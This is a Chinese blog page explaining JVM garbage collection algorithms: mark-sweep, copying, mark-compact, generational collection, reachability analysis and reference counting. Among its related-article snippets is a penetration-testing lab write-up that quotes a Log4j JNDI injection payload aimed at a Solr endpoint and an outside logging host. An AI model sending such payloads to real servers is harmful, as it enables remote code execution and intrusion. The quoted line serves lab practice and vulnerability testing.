JVM垃圾回收算法:标记-清除算法 、复制算法、 标记-整理算法、 分代收集算法、可达性分析算法

news2024/9/24 20:42:38

文章目录

  • 引言
  • I 标记回收算法(Mark-Sweep)
    • 算法思路
    • 不足
  • II 复制算法(Copying)
    • 算法的思路
    • 缺点
    • 案例
  • III 标记整理算法(Mark-Compact)
    • 思路
  • IV 分代收集(以上三种算法的集合体)
    • 分代收集算法思想
    • 新生代算法:Minor GC使用复制算法
    • 老年代 GC算法:(Major GC / Full GC)使用标记 - 整理算法。
  • V 可达性分析算法(Reachability Analysis): 判定对象是否存活
    • 算法思路
    • 在 Java 中,可以作为 GC Roots 的对象
  • VI 引用计数算法(Reference Counting)
    • 算法思路
    • 缺点
  • VII 知识扩展
    • HotSpot JVM heap区(堆内存)
    • HotSpot JVM非heap区
    • 查看JVM堆分配

引言

垃圾回收(Garbage Collection,GC)

Java支持内存动态分配、垃圾自动回收。JVM垃圾回收算法整体上来看是分代收集算法,而S0、S1这两部分可以看做是标记-整理算法

I 标记回收算法(Mark-Sweep)

算法思路

分为 “标记” 和 “清除” 两个阶段

  • 标记出所有需要回收的对象
  • 统一回收所有被标记的对象

不足

  • 效率问题。标记和清除两个过程的效率都不高
  • 空间问题。标记清除之后,会产生大量不连续的内存碎片,内存碎片太多可能会导致以后需要分配较大对象时,无法找到足够的连续内存,而不得不提前触发另一次垃圾回收动作,执行垃圾回收也是一个耗费资源的动作,执行频率过高,会影响到程序的整体执行效率。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2104891.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【内网渗透】最保姆级的春秋云镜Certify打靶笔记

目录 flag1 flag2 flag3 flag4 flag1 fscan扫外网 访问8983端口,发现配置项有log4j 【vulhub】Log4j2:CVE-2021-44228漏洞复现_vulhub cve-2021-44228-CSDN博客 /solr/admin/collections?action${jndi:ldap://z5o5w8.dnslog.cn} dnslog测出可…

【数据结构】详解二叉搜索树及其实现

前言: 二叉搜索树是红黑树等的前身,掌握其操作和性质很重要。总结自用and分享。 目录 一、基本概念 二、其常见操作及其实现 1.定义节点 2.查找元素 3.插入元素 4.删除元素【难点】 三、性质分析 一、基本概念 如下所示:对于所有节点都…

小阿轩yx-Kubernetes高级调度

小阿轩yx-Kubernetes高级调度 前言 前面 Kubernetes 的调度基础实现了见表格自己的服务器部署到 Kubernetes在生产环境中,调度远比想象的要复杂 比如 某些程序只能部署在固定的几台机器上某些机器只能部署指定的 Pod节点挂了怎么快速修复节点挂了如何让影响最小…

DDS基本原理--FPGA学习笔记

DDS信号发生器原理: timescale 1ns / 1ps // // Company: // Engineer: // // Create Date: 2024/09/04 15:20:30 // Design Name: hilary // Module Name: DDS_Module //module DDS_Module(Clk,Reset_n,Fword,Pword,Data);input Clk;input Reset_n;input [31:0]…

OpenBLAS QR decompose example

1. 安装 OpenBLAS release 版本: Makefile: all:wget https://github.com/OpenMathLib/OpenBLAS/archive/refs/tags/v0.3.27.tar.gztar zxf v0.3.27.tar.gz make -C OpenBLAS-0.3.27 FCgfortran -jinstall:make -C OpenBLAS-0.3.27 install PREFIX../lo…

字节跳动一面

字节跳动一面【C后端开发】 base : 深圳 岗位:C后端开发 时间: 2024/8/30 文章目录 基本介绍C语言1. 堆栈内存是否连续,为什么?2. int i0; i ; 两个线程同时执行10000次,i最终的数值是多少?3.…

【Java基础】代理

文章目录 代理代理模式的优点代理模式类型基于JDK的静态代理基于JDK的动态代理 代理 一种设计模式,不允许用户直接访问核心功能,而是通过代理来访问核心类的核心功能 举个例子,如果我们现在需要一个银行转账系统,我们需要在一个Ja…

git创建本地分支并track跟踪远程分支

git创建本地分支并track跟踪远程分支 查看本地分支与远程分支的映射关系: git branch -vv 查看远程都有什么分支: git branch -r 在本地自动新建一个xxx分支,且自动track跟踪远程的同名xxx分支: git checkout --track origin/xx…

MinIO Packet Pushers 播客: 汤姆-里昂,《NFS 必死》。

我们真的很喜欢 Packet Pushers 的团队。他们的播客是业内最好的播客之一,涵盖了从堆栈顶部到底部的技术。我们最近有机会赞助传奇人物 Tom Lyon 对 Ethan Banks 和 Drew Conry-Murray 的采访。Packet Pushers 的团队对 Tom 最近题为“NFS(网络文件系统&…

数据结构(13)——平衡二叉树(红黑树)

欢迎来到博主的专栏——数据结构 博主ID:代码小号 文章目录 红黑树红黑树节点之间的关系红黑树的插入uncle节点为红色uncle节点是黑色或者没有uncle节点 红黑树 平衡二叉树最出名的除了AVL树之外就是红黑树(RBTree),所谓红黑树&a…

JSON 格式详解

JSON 格式详解 随着互联网的发展和各种 Web 应用程序的普及,数据交换已经成为了我们日常开发中的重要环节。而在各种数据交换格式中,JSON(JavaScript Object Notation)作为一种轻量级的数据交换格式,以其简洁、易于阅…

2024.9.4(k8s)

一、前期准备 1、配置主机映射 [rootk8s-master ~]# vim /etc/hosts 192.168.8.168 k8s-master 192.168.8.176 k8s-node1 192.168.8.177 k8s-node2[rootk8s-master ~]# ping k8s-master 2、配置yum源 [rootk8s-master yum.repos.d]# vim kubernetes.repo [kubernetes] n…

智能医学(二)——MDPI特刊推荐

特刊征稿 01 特刊名称: eHealth and mHealth: Challenges and Prospects, 2nd Volume 参与期刊: 截止时间: 摘要提交截止日期 关闭(2024年6月30日) 投稿截止日期 2024年9月30日 目标及范围: 关键字 l 人工智能 l 计算机…

模拟实现string类及体验传统深拷贝

目录 strcpy 构造函数 优化 拷贝构造/深拷贝 operator size/operator[] operator<< c_str() 模拟string::iterator 插入 push_back() append() operator reserve npos strcpy strcpy是将/0拷贝完成后才会停止。 构造函数 string():_str(nullptr) {} st…

vite 打包 学习

plugins.jsimport vue from "vitejs/plugin-vue"; // 自动引入插件 import autoImport from "unplugin-auto-import/vite"; import setupExtend from "unplugin-vue-setup-extend-plus/vite"; import { ElementPlusResolver } from unplugin-vue…

国内Etsy开店注册账号需要什么?

Etsy作为海外知名二手电商平台&#xff0c;对于原创手工产品的商家来说具有巨大的市场流量与商机&#xff0c;但注册Etsy账号对于国内跨境电商用户来说确实存在一定的难度&#xff0c;作为Etsy也是小有名气的小商家&#xff0c;今天也分享一下开店的经验帮助大家出海。 一、Ets…

终端安全一体化解决方案有哪些?值得收藏的五款终端安全系统

随着信息技术的迅猛发展&#xff0c;企业和个人面临着越来越多的安全威胁。终端作为连接互联网和用户的第一线&#xff0c;其安全性直接影响到整个网络乃至组织的安全态势。为了应对日益复杂的网络环境&#xff0c;许多企业开始采用终端安全一体化解决方案&#xff0c;以期达到…

EVPN学习

三、VXLAN BGP EVPN基本原理_vxlan的type2,type3区别-CSDN博客 华为数通笔记VXLAN&BGP EVPN_vxlan为什么用bgp协议-CSDN博客

【MeterSphere】vnc连接不上selenium-chrome容器

目录 一、现象 二、查看配置文件 docker-compose-seleniarm.yml 三、处理 3.1 删除上图当中的三行 3.2 msctl reload 3.3 重新连接 前言:使用vnc连不上ms的selenium-chrome容器,看不到里面运行情况,以前其实可以,后来不行了,研究了一下 一、现象 输入IP:端口,连…

vmware 17.6 pro for personal USE初体验

新学期开学了&#xff0c;暑假期间把台式机放在办公室远程&#xff0c;无赖期间经常断电&#xff0c;把我的老台给烧坏了&#xff0c;检测了下固态硬盘和机械硬盘&#xff0c;好歹能用。但是win11的系统奔溃了。就花了半天时间重装。*v* 悲剧的是&#xff0c;一些软件环境必须…